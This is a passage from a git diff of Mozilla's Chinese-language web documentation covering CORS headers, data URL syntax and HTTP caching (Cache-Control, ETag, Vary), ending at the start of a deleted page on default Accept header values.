-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
- -

即使第 10 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 17 行),则响应内容不会返回给请求的发起者。

- -

附带身份凭证的请求与通配符

- -

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

- -

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

- -

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

- -

第三方 cookies

- -

注意在 CORS 响应中设置的 cookies 适用一般性第三方 cookie 策略。在上面的例子中,页面是在 `foo.example` 加载,但是第 20 行的 cookie 是被 `bar.other` 发送的,如果用户设置其浏览器拒绝所有第三方 cookies,那么将不会被保存。

- -

HTTP 响应首部字段

- -

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

- -

Access-Control-Allow-Origin

- -

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

- -
Access-Control-Allow-Origin: <origin> | *
-
- -

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

- -

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

- -
Access-Control-Allow-Origin: http://mozilla.com
- -

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

- -

Access-Control-Expose-Headers

- -

译者注:在跨源访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

- -

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

- -
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-
- -

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

- -

Access-Control-Max-Age

- -

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

- -
Access-Control-Max-Age: <delta-seconds>
-
- -

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

- -

Access-Control-Allow-Credentials

- -

{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

- -
Access-Control-Allow-Credentials: true
-
- -

上文已经讨论了附带身份凭证的请求

- -

Access-Control-Allow-Methods

- -

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

- -
Access-Control-Allow-Methods: <method>[, <method>]*
-
- -

相关示例见这里

- -

Access-Control-Allow-Headers

- -

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

- -
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
-
- -

HTTP 请求首部字段

- -

本节列出了可用于发起跨源请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨源请求时,它们已经被设置就绪。

- -

Origin

- -

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

- -
Origin: <origin>
-
- -

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

- -
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
- -

注意,在所有访问控制请求(Access control request)中,{{HTTPHeader("Origin")}} 首部字段总是被发送。

- -

Access-Control-Request-Method

- -

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

- -
Access-Control-Request-Method: <method>
-
- -

相关示例见这里

- -

Access-Control-Request-Headers

- -

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

- -
Access-Control-Request-Headers: <field-name>[, <field-name>]*
-
- -

相关示例见这里

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

- -
    -
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • -
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨源支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨源支持;Firefox 9 引入了对 drawImage 的跨源支持。
  • -
- -

参见

- - - -

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/zh-cn/web/http/basics_of_http/data_uris/index.html b/files/zh-cn/web/http/basics_of_http/data_uris/index.html new file mode 100644 index 0000000000..5153482967 --- /dev/null +++ b/files/zh-cn/web/http/basics_of_http/data_uris/index.html @@ -0,0 +1,116 @@ +--- +title: Data URLs +slug: Web/HTTP/data_URIs +tags: + - Base64 + - HTTP + - URL + - 教程 + - 进阶 +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +
{{HTTPSidebar}}
+ +

Data URLs,即前缀为 data: 协议的URL,其允许内容创建者向文档中嵌入小文件。

+ +

语法

+ +

Data URLs 由四个部分组成:前缀(data:)、指示数据类型的MIME类型、如果非文本则为可选的base64标记、数据本身:

+ +
data:[<mediatype>][;base64],<data>
+
+ +

mediatype 是个 MIME 类型的字符串,例如 "image/jpeg" 表示 JPEG 图像文件。如果被省略,则默认值为 text/plain;charset=US-ASCII

+ +

如果数据是文本类型,你可以直接将文本嵌入 (根据文档类型,使用合适的实体字符或转义字符)。如果是二进制数据,你可以将数据进行base64编码之后再进行嵌入。

+ +

下面是一些示例:

+ +
+
data:,Hello%2C%20World!
+
简单的 text/plain 类型数据
+
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
+
上一条示例的 base64 编码版本
+
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
+
一个HTML文档源代码 <h1>Hello, World</h1>
+
data:text/html,<script>alert('hi');</script>
+
一个会执行 JavaScript alert 的 HTML 文档。注意 script 标签必须封闭。
+
+ +

给数据作 base64 编码

+ +

在Linux或者Mac OS系统上,你可以使用 uuencode 命令行工具来简单实现编码:

+ +
uuencode -m infile remotename
+
+ +

infile 参数表示要作 base64编码的文件名称,remotename 参数表示输出的文件名称, 实际上并没有在 data 方案的URLs 中使用。

+ +

输出结果如下:

+ +
begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+
+ +

以上 Data URL 会使用位于首行之后的编码后的数据

+ +

在网页上使用 JavaScript

+ +

Web APIs 已经有对 base64 进行编码解码的方法: Base64 encoding and decoding.

+ +

常见问题

+ +

下文介绍一些在使用data URIs时遇到的常见问题:

+ +
+
语法
+
data URLs 的格式很简单,但很容易会忘记把逗号加在 "data" 协议名后面,在对数据进行 base64 编码时也很容易发生错误。
+
HTML代码格式化
+
一个 data URL 是一个文件中的文件,相对于文档来说这个文件可能就非常的长。因为 data URL 也是 URL,所以 data 会用空白符(换行符, 制表符, 空格)来对它进行格式化。但如果数据是经过 base64 编码的,就可能会遇到一些问题
+
长度限制
+
虽然 Firefox 支持无限长度的 data URLs,但是标准中并没有规定浏览器必须支持任意长度的 data URIs。比如,Opera 11浏览器限制 URLs 最长为 65535 个字符,这意味着 data URLs 最长为 65529 个字符(如果你使用纯文本 data:, 而不是指定一个 MIME 类型的话,那么 65529 字符长度是编码后的长度,而不是源文件)。
+
缺乏错误处理
+
MIME类型错误或者base64编码错误,都会造成data URIs无法被正常解析, 但不会有任何相关错误提示.
+
不支持查询字符串
+
+

一个data URI的数据字段是没有结束标记的,所以尝试在一个data URI后面添加查询字符串会导致,查询字符串也一并被当作数据字段.例如:

+ +
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
+
+ +

这个 data URL 代表的 HTML 源文件内容为:

+ +
lots of text...<p><a name="bottom">bottom</a>?arg=val
+
+
+
+ +

浏览器兼容性

+ +

{{compat("http.data-url")}}

+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("2397")}}The "data" URL scheme
+ +

相关链接

+ + diff --git a/files/zh-cn/web/http/caching/index.html b/files/zh-cn/web/http/caching/index.html new file mode 100644 index 0000000000..3bf85cb945 --- /dev/null +++ b/files/zh-cn/web/http/caching/index.html @@ -0,0 +1,163 @@ +--- +title: HTTP 缓存 +slug: Web/HTTP/Caching_FAQ +tags: + - Cache-Control + - ETag + - Expires + - HTTP + - HTTP Cache + - Last-Modified + - 协商缓存 + - 强缓存 + - 指南 + - 缓存 +translation_of: Web/HTTP/Caching +--- +
{{HTTPSidebar}}
+ +

通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP缓存,变得更加响应性。

+ +

不同种类的缓存

+ +

缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能(获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。

+ +

缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 web 应用提供更好的稳定性、性能和扩展性。

+ +

What a cache provide, advantages/disadvantages of shared/private caches.

+ +

(私有)浏览器缓存

+ +

私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。

+ +

(共享)代理缓存

+ +

共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。

+ +

缓存操作的目标

+ +

虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括request method和目标URI(一般只有GET请求才会被缓存)。 普遍的缓存案例:

+ +
    +
  • 一个检索请求的成功响应: 对于 {{HTTPMethod("GET")}}请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如HTML文档,图片,或者文件的响应。
  • +
  • 永久重定向: 响应状态码:{{HTTPStatus(301)}}。
  • +
  • 错误响应: 响应状态码:{{HTTPStatus(404)}} 的一个页面。
  • +
  • 不完全的响应: 响应状态码 {{HTTPStatus(206)}},只返回局部的信息。
  • +
  • 除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的cache键名的响应。
  • +
+ +

针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考下文关于 {{HTTPHeader("Vary")}} 的信息。

+ +

缓存控制

+ +

Cache-control

+ +

HTTP/1.1定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况, 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。

+ +

没有缓存

+ +

缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。

+ +
Cache-Control: no-store
+ +

缓存但重新验证

+ +

如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回304),则缓存才使用本地缓存副本。

+ +
Cache-Control: no-cache
+ +

私有和公共缓存

+ +

"public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN等)缓存。若指定了"public",则一些通常不被中间人缓存的页面(译者注:因为默认是private)(比如 带有HTTP验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。

+ +

而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。

+ +
Cache-Control: private
+Cache-Control: public
+ +

过期

+ +

过期机制中,最重要的指令是 "max-age=<seconds>",表示资源能够被缓存(保持新鲜)的最大时间。相对Expires而言,max-age是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js等静态资源。

+ +

详情看下文关于缓存有效性的内容。

+ +
Cache-Control: max-age=31536000
+ +

验证方式

+ +

当使用了 "must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于缓存校验的内容。

+ +
Cache-Control: must-revalidate
+ +

Pragma 头

+ +

{{HTTPHeader("Pragma")}} 是HTTP/1.0标准中定义的一个header属性,请求中包含Pragma的效果跟在头信息中定义Cache-Control: no-cache相同,但是HTTP的响应头没有明确定义这个属性,所以它不能拿来完全替代HTTP/1.1中定义的Cache-control头。通常定义Pragma以向后兼容基于HTTP/1.0的客户端。

+ +

新鲜度

+ +

理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于HTTP是C/S模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个If-None-Match头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 304 (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since判断后发现已过期,那么会带有该资源的实体内容返回。

+ +

下面是上述缓存处理过程的一个图示:

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

对于含有特定头信息的请求,会去计算缓存寿命。比如Cache-control: max-age=N的头,相应的缓存的寿命就是N。通常情况下,对于不含这个属性的请求则会去查看是否包含Expires属性,通过比较Expires的值和头里面Date属性的值来判断是否缓存还有效。如果max-age和expires属性都没有,找找头里的Last-Modified信息。如果有,缓存的寿命就等于头里面Date的值减去Last-Modified的值除以10(注:根据rfc2626其实也就是乘以10%)。

+ +

缓存失效时间计算公式如下:

+ +
expirationTime = responseTime + freshnessLifetime - currentAge
+ +

上式中,responseTime 表示浏览器接收到此响应的那个时间点。

+ +

改进资源

+ +

我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些js/css文件,当它们变动时需要尽快更新线上资源。

+ +

web开发者发明了一种被 Steve Souders 称之为 revving 的技术[1] 。不频繁更新的文件会使用特定的命名方式:在URL后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。web开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(js/css)变动了,只用在高频变动的资源文件(html)里做入口的改动。

+ +

这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的css和js文件,避免这种不一致性是非常重要的。

+ +

+ +

加在加速文件后面的版本号不一定是一个正式的版本号字符串,如1.1.3这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如hash或者时间戳。

+ +

缓存验证

+ +

用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有"Cache-control: must-revalidate”的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置Advanced->Cache为强制验证缓存也能达到相同的效果。

+ +

当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。

+ +

ETags

+ +

作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理(User Agent, 下面简称UA)不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的HTTP UA,不知道ETag代表什么,不能预测它的值是多少。如果资源请求的响应头里含有ETag, 客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。

+ +

{{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。

+ +

当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回body)表示浏览器可以使用本地缓存文件。304的响应头也可以同时更新缓存文档的过期时间。

+ +

Vary 响应

+ +

{{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。

+ +

当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的Vary都匹配,才能使用缓存的响应。

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.

+ +

使用vary头有利于内容服务的动态多样性。例如,使用Vary: User-Agent头,缓存服务器需要通过UA判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入Cloaking

+ +
Vary: User-Agent
+ +

因为移动版和桌面的客户端的请求头中的User-Agent不同, 缓存服务器不会错误地把移动端的内容输出到桌面端到用户。

+ +

参考

+ + + +
+
+
diff --git a/files/zh-cn/web/http/caching_faq/index.html b/files/zh-cn/web/http/caching_faq/index.html deleted file mode 100644 index 3bf85cb945..0000000000 --- a/files/zh-cn/web/http/caching_faq/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: HTTP 缓存 -slug: Web/HTTP/Caching_FAQ -tags: - - Cache-Control - - ETag - - Expires - - HTTP - - HTTP Cache - - Last-Modified - - 协商缓存 - - 强缓存 - - 指南 - - 缓存 -translation_of: Web/HTTP/Caching ---- -
{{HTTPSidebar}}
- -

通过复用以前获取的资源,可以显著提高网站和应用程序的性能。Web 缓存减少了等待时间和网络流量,因此减少了显示资源表示形式所需的时间。通过使用 HTTP缓存,变得更加响应性。

- -

不同种类的缓存

- -

缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。当 web 缓存发现请求的资源已经被存储,它会拦截请求,返回该资源的拷贝,而不会去源服务器重新下载。这样带来的好处有:缓解服务器端压力,提升性能(获取资源的耗时更短了)。对于网站来说,缓存是达到高性能的重要组成部分。缓存需要合理配置,因为并不是所有资源都是永久不变的:重要的是对一个资源的缓存应截止到其下一次发生改变(即不能缓存过期的资源)。

- -

缓存的种类有很多,其大致可归为两类:私有与共享缓存。共享缓存存储的响应能够被多个用户使用。私有缓存只能用于单独用户。本文将主要介绍浏览器与代理缓存,除此之外还有网关缓存、CDN、反向代理缓存和负载均衡器等部署在服务器上的缓存方式,为站点和 web 应用提供更好的稳定性、性能和扩展性。

- -

What a cache provide, advantages/disadvantages of shared/private caches.

- -

(私有)浏览器缓存

- -

私有缓存只能用于单独用户。你可能已经见过浏览器设置中的“缓存”选项。浏览器缓存拥有用户通过 HTTP 下载的所有文档。这些缓存为浏览过的文档提供向后/向前导航,保存网页,查看源码等功能,可以避免再次向服务器发起多余的请求。它同样可以提供缓存内容的离线浏览。

- -

(共享)代理缓存

- -

共享缓存可以被多个用户使用。例如,ISP 或你所在的公司可能会架设一个 web 代理来作为本地网络基础的一部分提供给用户。这样热门的资源就会被重复使用,减少网络拥堵与延迟。

- -

缓存操作的目标

- -

虽然 HTTP 缓存不是必须的,但重用缓存的资源通常是必要的。然而常见的 HTTP 缓存只能存储 {{HTTPMethod("GET")}} 响应,对于其他类型的响应则无能为力。缓存的关键主要包括request method和目标URI(一般只有GET请求才会被缓存)。 普遍的缓存案例:

- -
    -
  • 一个检索请求的成功响应: 对于 {{HTTPMethod("GET")}}请求,响应状态码为:{{HTTPStatus(200)}},则表示为成功。一个包含例如HTML文档,图片,或者文件的响应。
  • -
  • 永久重定向: 响应状态码:{{HTTPStatus(301)}}。
  • -
  • 错误响应: 响应状态码:{{HTTPStatus(404)}} 的一个页面。
  • -
  • 不完全的响应: 响应状态码 {{HTTPStatus(206)}},只返回局部的信息。
  • -
  • 除了 {{HTTPMethod("GET")}} 请求外,如果匹配到作为一个已被定义的cache键名的响应。
  • -
- -

针对一些特定的请求,也可以通过关键字区分多个存储的不同响应以组成缓存的内容。具体参考下文关于 {{HTTPHeader("Vary")}} 的信息。

- -

缓存控制

- -

Cache-control

- -

HTTP/1.1定义的 {{HTTPHeader("Cache-Control")}} 头用来区分对缓存机制的支持情况, 请求头和响应头都支持这个属性。通过它提供的不同的值来定义缓存策略。

- -

没有缓存

- -

缓存中不得存储任何关于客户端请求和服务端响应的内容。每次由客户端发起的请求都会下载完整的响应内容。

- -
Cache-Control: no-store
- -

缓存但重新验证

- -

如下头部定义,此方式下,每次有请求发出时,缓存会将此请求发到服务器(译者注:该请求应该会带有与本地缓存相关的验证字段),服务器端会验证请求中所描述的缓存是否过期,若未过期(注:实际就是返回304),则缓存才使用本地缓存副本。

- -
Cache-Control: no-cache
- -

私有和公共缓存

- -

"public" 指令表示该响应可以被任何中间人(译者注:比如中间代理、CDN等)缓存。若指定了"public",则一些通常不被中间人缓存的页面(译者注:因为默认是private)(比如 带有HTTP验证信息(帐号密码)的页面 或 某些特定状态码的页面),将会被其缓存。

- -

而 "private" 则表示该响应是专用于某单个用户的,中间人不能缓存此响应,该响应只能应用于浏览器私有缓存中。

- -
Cache-Control: private
-Cache-Control: public
- -

过期

- -

过期机制中,最重要的指令是 "max-age=<seconds>",表示资源能够被缓存(保持新鲜)的最大时间。相对Expires而言,max-age是距离请求发起的时间的秒数。针对应用中那些不会改变的文件,通常可以手动设置一定的时长以保证缓存有效,例如图片、css、js等静态资源。

- -

详情看下文关于缓存有效性的内容。

- -
Cache-Control: max-age=31536000
- -

验证方式

- -

当使用了 "must-revalidate" 指令,那就意味着缓存在考虑使用一个陈旧的资源时,必须先验证它的状态,已过期的缓存将不被使用。详情看下文关于缓存校验的内容。

- -
Cache-Control: must-revalidate
- -

Pragma 头

- -

{{HTTPHeader("Pragma")}} 是HTTP/1.0标准中定义的一个header属性,请求中包含Pragma的效果跟在头信息中定义Cache-Control: no-cache相同,但是HTTP的响应头没有明确定义这个属性,所以它不能拿来完全替代HTTP/1.1中定义的Cache-control头。通常定义Pragma以向后兼容基于HTTP/1.0的客户端。

- -

新鲜度

- -

理论上来讲,当一个资源被缓存存储后,该资源应该可以被永久存储在缓存中。由于缓存只有有限的空间用于存储资源副本,所以缓存会定期地将一些副本删除,这个过程叫做缓存驱逐。另一方面,当服务器上面的资源进行了更新,那么缓存中的对应资源也应该被更新,由于HTTP是C/S模式的协议,服务器更新一个资源时,不可能直接通知客户端更新缓存,所以双方必须为该资源约定一个过期时间,在该过期时间之前,该资源(缓存副本)就是新鲜的,当过了过期时间后,该资源(缓存副本)则变为陈旧的驱逐算法用于将陈旧的资源(缓存副本)替换为新鲜的,注意,一个陈旧的资源(缓存副本)是不会直接被清除或忽略的,当客户端发起一个请求时,缓存检索到已有一个对应的陈旧资源(缓存副本),则缓存会先将此请求附加一个If-None-Match头,然后发给目标服务器,以此来检查该资源副本是否是依然还是算新鲜的,若服务器返回了 304 (Not Modified)(该响应不会有带有实体信息),则表示此资源副本是新鲜的,这样一来,可以节省一些带宽。若服务器通过 If-None-Match 或 If-Modified-Since判断后发现已过期,那么会带有该资源的实体内容返回。

- -

下面是上述缓存处理过程的一个图示:

- -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

- -

对于含有特定头信息的请求,会去计算缓存寿命。比如Cache-control: max-age=N的头,相应的缓存的寿命就是N。通常情况下,对于不含这个属性的请求则会去查看是否包含Expires属性,通过比较Expires的值和头里面Date属性的值来判断是否缓存还有效。如果max-age和expires属性都没有,找找头里的Last-Modified信息。如果有,缓存的寿命就等于头里面Date的值减去Last-Modified的值除以10(注:根据rfc2626其实也就是乘以10%)。

- -

缓存失效时间计算公式如下:

- -
expirationTime = responseTime + freshnessLifetime - currentAge
- -

上式中,responseTime 表示浏览器接收到此响应的那个时间点。

- -

改进资源

- -

我们使用缓存的资源越多,网站的响应能力和性能就会越好。为了优化缓存,过期时间设置得尽量长是一种很好的策略。对于定期或者频繁更新的资源,这么做是比较稳妥的,但是对于那些长期不更新的资源会有点问题。这些固定的资源在一定时间内受益于这种长期保持的缓存策略,但一旦要更新就会很困难。特指网页上引入的一些js/css文件,当它们变动时需要尽快更新线上资源。

- -

web开发者发明了一种被 Steve Souders 称之为 revving 的技术[1] 。不频繁更新的文件会使用特定的命名方式:在URL后面(通常是文件名后面)会加上版本号。加上版本号后的资源就被视作一个完全新的独立的资源,同时拥有一年甚至更长的缓存过期时长。但是这么做也存在一个弊端,所有引用这个资源的地方都需要更新链接。web开发者们通常会采用自动化构建工具在实际工作中完成这些琐碎的工作。当低频更新的资源(js/css)变动了,只用在高频变动的资源文件(html)里做入口的改动。

- -

这种方法还有一个好处:同时更新两个缓存资源不会造成部分缓存先更新而引起新旧文件内容不一致。对于互相有依赖关系的css和js文件,避免这种不一致性是非常重要的。

- -

- -

加在加速文件后面的版本号不一定是一个正式的版本号字符串,如1.1.3这样或者其他固定自增的版本数。它可以是任何防止缓存碰撞的标记例如hash或者时间戳。

- -

缓存验证

- -

用户点击刷新按钮时会开始缓存验证。如果缓存的响应头信息里含有"Cache-control: must-revalidate”的定义,在浏览的过程中也会触发缓存验证。另外,在浏览器偏好设置里设置Advanced->Cache为强制验证缓存也能达到相同的效果。

- -

当缓存的文档过期后,需要进行缓存验证或者重新获取资源。只有在服务器返回强校验器或者弱校验器时才会进行验证。

- -

ETags

- -

作为缓存的一种强校验器,{{HTTPHeader("ETag")}} 响应头是一个对用户代理(User Agent, 下面简称UA)不透明(译者注:UA 无需理解,只需要按规定使用即可)的值。对于像浏览器这样的HTTP UA,不知道ETag代表什么,不能预测它的值是多少。如果资源请求的响应头里含有ETag, 客户端可以在后续的请求的头中带上 {{HTTPHeader("If-None-Match")}} 头来验证缓存。

- -

{{HTTPHeader("Last-Modified")}} 响应头可以作为一种弱校验器。说它弱是因为它只能精确到一秒。如果响应头里含有这个信息,客户端可以在后续的请求中带上 {{HTTPHeader("If-Modified-Since")}} 来验证缓存。

- -

当向服务端发起缓存校验的请求时,服务端会返回 {{HTTPStatus(200)}} ok表示返回正常的结果或者 {{HTTPStatus(304)}} Not Modified(不返回body)表示浏览器可以使用本地缓存文件。304的响应头也可以同时更新缓存文档的过期时间。

- -

Vary 响应

- -

{{HTTPHeader("Vary")}} HTTP 响应头决定了对于后续的请求头,如何判断是请求一个新的资源还是使用缓存的文件。

- -

当缓存服务器收到一个请求,只有当前的请求和原始(缓存)的请求头跟缓存的响应头里的Vary都匹配,才能使用缓存的响应。

- -

The Vary header leads cache to use more HTTP headers as key for the cache.

- -

使用vary头有利于内容服务的动态多样性。例如,使用Vary: User-Agent头,缓存服务器需要通过UA判断是否使用缓存的页面。如果需要区分移动端和桌面端的展示内容,利用这种方式就能避免在不同的终端展示错误的布局。另外,它可以帮助 Google 或者其他搜索引擎更好地发现页面的移动版本,并且告诉搜索引擎没有引入Cloaking

- -
Vary: User-Agent
- -

因为移动版和桌面的客户端的请求头中的User-Agent不同, 缓存服务器不会错误地把移动端的内容输出到桌面端到用户。

- -

参考

- - - -
-
-
diff --git "a/files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" "b/files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" deleted file mode 100644 index 9db5868657..0000000000 --- "a/files/zh-cn/web/http/content_negotiation/accept_\351\273\230\350\256\244\345\200\274/index.html" +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: Accept 默认值 -slug: Web/HTTP/Content_negotiation/Accept_默认值 -translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values ---- -
{{HTTPSidebar}}
- -

本文介绍了在一些特定输入和浏览器版本下的HTTP  Accept 头的默认值

- -

默认值

